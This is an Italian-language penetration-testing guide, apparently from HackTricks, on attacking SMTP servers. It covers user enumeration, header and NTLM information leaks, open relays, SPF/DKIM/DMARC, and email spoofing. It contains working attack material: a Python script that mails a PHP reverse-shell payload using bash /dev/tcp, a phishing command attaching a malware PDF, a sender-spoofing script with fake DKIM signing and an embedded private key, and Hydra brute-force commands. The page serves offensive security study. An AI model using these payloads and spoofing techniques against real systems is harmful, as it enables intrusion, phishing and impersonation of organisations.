# 25,465,587 - Pentesting SMTP/s

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**Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

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## **Informazioni di base**

Il **Simple Mail Transfer Protocol (SMTP)** è un protocollo utilizzato all'interno della suite TCP/IP per il **invio e la ricezione di e-mail**. A causa delle sue limitazioni nel mettere in coda i messaggi alla fine del destinatario, SMTP è spesso impiegato insieme a **POP3 o IMAP**. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente.

In pratica, è comune che i **programmi di posta elettronica** utilizzino **SMTP per inviare e-mail**, mentre utilizzano **POP3 o IMAP per riceverle**. Nei sistemi basati su Unix, **sendmail** si distingue come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail comprende un server POP3. Inoltre, **Microsoft Exchange** fornisce un server SMTP e offre l'opzione di includere il supporto POP3.

**Porta predefinita:** 25,465(ssl),587(ssl)
```
PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
```
### EMAIL Headers

Se hai l'opportunità di **far inviare alla vittima un'email** (ad esempio tramite il modulo di contatto della pagina web), fallo perché **potresti apprendere la topologia interna** della vittima esaminando le intestazioni dell'email.

Puoi anche ottenere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (perché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo autorizzato (controlla la politica SPF) e che tu possa ricevere messaggi NDN.

Dovresti anche provare a **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\
Dovresti inviare il file di test EICAR.\
Rilevare il **AV** potrebbe consentirti di sfruttare **vulnerabilità note.**

## Basic actions

### **Banner Grabbing/Basic connection**

**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Trovare i server MX di un'organizzazione
```bash
dig +short mx google.com
```
### Enumerazione
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Divulgazione di informazioni

Se il server supporta l'autenticazione NTLM (Windows) puoi ottenere informazioni sensibili (versioni). Maggiori informazioni [**qui**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`

### Nome del server interno - Divulgazione delle informazioni

Alcuni server SMTP completano automaticamente l'indirizzo di un mittente quando il comando "MAIL FROM" viene emesso senza un indirizzo completo, rivelando il suo nome interno:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Sniffing

Controlla se riesci a sniffare qualche password dai pacchetti sulla porta 25

### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)

## Enumerazione Bruteforce Username

**L'autenticazione non è sempre necessaria**

### RCPT TO
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### VRFY
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
### EXPN
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
```
### Strumenti automatici
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
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**Impostazione disponibile istantaneamente per la valutazione delle vulnerabilità e il pentesting**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

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## Rapporti DSN

**Rapporti di Notifica dello Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione notificherà che l'indirizzo era invalido inviando una **mail di ritorno a te**. Le **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi email che hanno interagito con i rapporti o informazioni sul software antivirus).

## [Comandi](smtp-commands.md)

### Inviare un'Email dalla console linux
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
```

```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Inviare un'Email con Python

<details>

<summary>Codice Python qui</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>

## SMTP Smuggling

La vulnerabilità SMTP Smuggling ha permesso di bypassare tutte le protezioni SMTP (controlla la sezione successiva per ulteriori informazioni sulle protezioni). Per ulteriori informazioni su SMTP Smuggling controlla:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Contromisure per il Mail Spoofing

Le organizzazioni sono protette dall'invio di email non autorizzate a loro nome impiegando **SPF**, **DKIM** e **DMARC** a causa della facilità di spoofing dei messaggi SMTP.

Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

{% hint style="danger" %}
SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo crei in `domain.com` utilizzando la **stessa sintassi**.\
Inoltre, per riutilizzare i record spf precedenti è abbastanza comune trovare qualcosa come `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}

**Sender Policy Framework** (SPF) è un meccanismo che consente ai Mail Transfer Agents (MTAs) di verificare se un host che invia un'email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica indirizzi/range IP, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.

#### Meccanismi

Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Meccanismo | Descrizione                                                                                                                                                                                                                                                                                                                         |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL         | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti.                                                                                                                                                                                                                                  |
| A           | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà.                                                                                                                                                                                                                   |
| IP4         | Se il mittente è in un dato range di indirizzi IPv4, corrisponde.                                                                                                                                                                                                                                                                              |
| IP6         | Se il mittente è in un dato range di indirizzi IPv6, corrisponde.                                                                                                                                                                                                                                                                              |
| MX          | Se il nome di dominio ha un record MX che risolve nell'indirizzo del mittente, corrisponderà (cioè la posta proviene da uno dei server di posta in arrivo del dominio).                                                                                                                                                                          |
| PTR         | Se il nome di dominio (record PTR) per l'indirizzo del cliente è nel dominio dato e quel nome di dominio si risolve nell'indirizzo del cliente (DNS inverso confermato), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile.                                                                                     |
| EXISTS      | Se il nome di dominio dato si risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui si risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL.                                                                                                                           |
| INCLUDE     | Riferisce alla politica di un altro dominio. Se la politica di quel dominio passa, questo meccanismo passa. Tuttavia, se la politica inclusa fallisce, l'elaborazione continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento.                                                                                     |
| REDIRECT    | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel meccanismo di reindirizzamento sarà utilizzata.</p> |

È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un meccanismo corrisponde, significa che è consentito).\
Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non affidabile (\~) o rifiutare (-) l'email.**

#### Qualificatori

Ogni meccanismo all'interno della politica può essere preceduto da uno dei quattro qualificatori per definire il risultato previsto:

* **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`.
* **`?`**: Rappresenta un risultato NEUTRALE, trattato in modo simile a NONE (nessuna politica specifica).
* **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRAL e FAIL. Le email che soddisfano questo risultato sono tipicamente accettate ma contrassegnate di conseguenza.
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata.

Nell'esempio seguente, viene illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF di diversi domini all'interno della prima politica SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non attendibile automaticamente**.

Per controllare lo SPF di un dominio puoi utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)

### DKIM (DomainKeys Identified Mail)

DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio.

Ad esempio, per richiedere la chiave, il nome del dominio e il selettore sono essenziali. Questi possono essere trovati nell'intestazione della mail `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`.

Un comando per recuperare queste informazioni potrebbe apparire così:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC migliora la sicurezza delle email basandosi sui protocolli SPF e DKIM. Definisce politiche che guidano i server di posta nella gestione delle email da un dominio specifico, inclusi come gestire i fallimenti di autenticazione e dove inviare rapporti sulle azioni di elaborazione delle email.

**Per ottenere il record DMARC, è necessario interrogare il sottodominio \_dmarc**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### DMARC tags

| Tag Name | Purpose                                       | Sample                          |
| -------- | --------------------------------------------- | ------------------------------- |
| v        | Protocol version                              | v=DMARC1                        |
| pct      | Percentuale di messaggi soggetti a filtraggio | pct=20                          |
| ruf      | URI di reporting per rapporti forensi        | ruf=mailto:authfail@example.com |
| rua      | URI di reporting di rapporti aggregati       | rua=mailto:aggrep@example.com   |
| p        | Politica per il dominio organizzativo        | p=quarantine                    |
| sp       | Politica per i sottodomini dell'OD           | sp=reject                       |
| adkim    | Modalità di allineamento per DKIM            | adkim=s                         |
| aspf     | Modalità di allineamento per SPF             | aspf=r                          |

### **E i Sottodomini?**

**Da** [**qui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
È necessario avere record SPF separati per ogni sottodominio da cui si desidera inviare email.\
Quanto segue è stato originariamente pubblicato su openspf.org, che era una grande risorsa per questo tipo di cose.

> La Domanda Demon: E i sottodomini?
>
> Se ricevo email da pielovers.demon.co.uk, e non ci sono dati SPF per pielovers, dovrei tornare a un livello e testare SPF per demon.co.uk? No. Ogni sottodominio di Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applicasse a tutti i suoi clienti per impostazione predefinita; se Demon vuole farlo, può impostare record SPF per ogni sottodominio.
>
> Quindi il consiglio per i publisher SPF è questo: dovresti aggiungere un record SPF per ogni sottodominio o hostname che ha un record A o MX.
>
> I siti con record A o MX wildcard dovrebbero avere anche un record SPF wildcard, della forma: \* IN TXT "v=spf1 -all"

Questo ha senso: un sottodominio potrebbe trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa.

### **Open Relay**

Quando vengono inviate email, è cruciale garantire che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di cui si fida il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere completamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza.

Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente riguardo alle comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Questo viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
```bash
mynetworks = 0.0.0.0/0
```
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi fonte esterna), lo strumento `nmap` è comunemente utilizzato. Include uno script specifico progettato per testare questo. Il comando per eseguire una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando `nmap` è:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Strumenti**

* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Controlla le misconfigurazioni di SPF e DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Ottieni automaticamente le configurazioni di SPF e DMARC**

### Invia Email Spoof

* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)

**Oppure puoi usare uno strumento:**

* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Se ricevi un **errore utilizzando la libreria dkim python** durante l'analisi della chiave, sentiti libero di utilizzare questa seguente.\
**NOTA**: Questa è solo una soluzione temporanea per effettuare controlli rapidi nei casi in cui, per qualche motivo, la chiave privata openssl **non possa essere analizzata da dkim**.
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}

**Oppure potresti farlo manualmente:**

{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Questo invierà un messaggio non firmato
</strong><strong>mail("your_email@gmail.com", "Oggetto di Test!", "hey! Questo è un test", "From: administrator@victim.com");
</strong></code></pre>
{% endtab %}

{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}

### **Ulteriori informazioni**

**Trova ulteriori informazioni su queste protezioni in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)

### **Altri indicatori di phishing**

* Età del dominio
* Link che puntano a indirizzi IP
* Tecniche di manipolazione dei link
* Allegati sospetti (non comuni)
* Contenuto dell'email danneggiato
* Valori utilizzati che sono diversi da quelli delle intestazioni dell'email
* Esistenza di un certificato SSL valido e affidabile
* Invio della pagina a siti di filtraggio dei contenuti web

## Esfiltrazione tramite SMTP

**Se puoi inviare dati tramite SMTP** [**leggi questo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**

## File di configurazione

### Postfix

Di solito, se installato, in `/etc/postfix/master.cf` contiene **script da eseguire** quando, ad esempio, una nuova email viene ricevuta da un utente. Ad esempio, la riga `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa che `/etc/postfix/filtering` verrà eseguito se una nuova email viene ricevuta dall'utente mark.

Altri file di configurazione:
```
sendmail.cf
submit.cf
```
## Riferimenti

* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)

## HackTricks Comandi Automatici
```
Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

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